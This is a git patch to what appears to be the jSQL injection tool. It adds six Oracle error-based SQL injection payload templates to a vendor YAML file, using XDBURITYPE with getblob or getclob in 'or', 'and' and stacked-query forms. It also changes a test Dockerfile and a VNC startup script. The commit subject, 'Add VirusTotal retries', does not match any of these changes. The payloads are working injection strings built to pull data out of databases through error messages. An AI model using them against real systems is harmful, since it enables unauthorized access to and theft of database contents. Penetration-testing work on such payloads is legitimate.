From 47b5042532a75387277ad65b36c78b0bc7850c74 Mon Sep 17 00:00:00 2001
From: ron190 <ron190@ymail.com>
Date: Sat, 25 Jan 2025 20:45:27 +0100
Subject: [PATCH] Add VirusTotal retries

---
 model/src/main/resources/vendor/oracle.yml    | 34 ++++++++++++++++++-
 .../src/test/resources/docker/Dockerfile.jsql |  2 +-
 .../src/test/resources/vnc/execute-on-vnc.sh  | 20 +++++++++--
 3 files changed, 51 insertions(+), 5 deletions(-)

diff --git a/model/src/main/resources/vendor/oracle.yml b/model/src/main/resources/vendor/oracle.yml
index 2871a141a3..11f6e0a6af 100644
--- a/model/src/main/resources/vendor/oracle.yml
+++ b/model/src/main/resources/vendor/oracle.yml
@@ -342,4 +342,36 @@ strategy:
               ) || '" from sys.dual'
           )
       ) from dual
-     capacity: 124
\ No newline at end of file
+     capacity: 124
+
+   - name: Blob:or
+     query: |
+      /* ORA-31001: Invalid resource handle or path name "<sqli>" [SQL State=99999, DB Errorcode=31001] */
+      or 1=utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob())
+     capacity: 512
+
+   - name: Blob:and
+     query: |
+      and 1=utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob())
+     capacity: 512
+
+   - name: Blob:stack
+     query: |
+      ; select utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob()) from dual
+     capacity: 512
+
+   - name: Clob:or
+     query: |
+      /* ORA-31001: Invalid resource handle or path name "<sqli>" [SQL State=99999, DB Errorcode=31001] */
+      or 1=dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0)
+     capacity: 512
+
+   - name: Clob:and
+     query: |
+      and 1=dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0)
+     capacity: 512
+
+   - name: Clob:stack
+     query: |
+      ; select dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0) from dual
+     capacity: 512
\ No newline at end of file
diff --git a/model/src/test/resources/docker/Dockerfile.jsql b/model/src/test/resources/docker/Dockerfile.jsql
index a3de42776f..44a47f34e8 100644
--- a/model/src/test/resources/docker/Dockerfile.jsql
+++ b/model/src/test/resources/docker/Dockerfile.jsql
@@ -23,7 +23,7 @@ ENV USER vnc-user-jsql
 RUN apt-get update -y || true
 
 # Install VNC support, shell and network tools
-RUN apt-get install tigervnc-standalone-server libxtst6 xfonts-base dos2unix iproute2 net-tools iputils-ping git -y
+RUN apt-get install xfce4 xfce4-goodies xterm dbus-x11 tigervnc-standalone-server tigervnc-common tigervnc-xorg-extension tigervnc-viewer libxtst6 xfonts-base dos2unix iproute2 net-tools iputils-ping git -y
 
 RUN dos2unix /model/src/test/resources/vnc/execute-on-vnc.sh
 
diff --git a/model/src/test/resources/vnc/execute-on-vnc.sh b/model/src/test/resources/vnc/execute-on-vnc.sh
index 9bd36232f1..c0e9a63079 100755
--- a/model/src/test/resources/vnc/execute-on-vnc.sh
+++ b/model/src/test/resources/vnc/execute-on-vnc.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-NEW_DISPLAY=1
+NEW_DISPLAY=0
 DONE="no"
 
 while [ "$DONE" = "no" ]; do
@@ -29,9 +29,23 @@ OLD_DISPLAY=${DISPLAY}
 touch ~/.Xauthority
 
 echo "Starting vncserver..."
-vncsession "$(whoami)" ":${NEW_DISPLAY}"
-
 export DISPLAY=:${NEW_DISPLAY}
+vncsession "$(whoami)" ":${NEW_DISPLAY}" || true
+vncserver -localhost no || true
+(Xvfb -ac ":${NEW_DISPLAY}" -screen 0 1280x1024x24 > /dev/null 2>&1 &) || true
+vncserver  || true
+
+# Start up the standard system desktop
+unset SESSION_MANAGER
+unset DBUS_SESSION_BUS_ADDRESS
+/usr/bin/startxfce4 || true
+[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup || true
+[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources || true
+(x-window-manager &) || true
+
+#echo "Starting Xvfb..."
+#export DISPLAY=:99
+#Xvfb -ac :99 -screen 0 1280x1024x24 > /dev/null 2>&1 &
 
 echo MAVEN_NASHORN="${MAVEN_NASHORN}"
 echo MAVEN_BYTEBUDDY="${MAVEN_BYTEBUDDY}"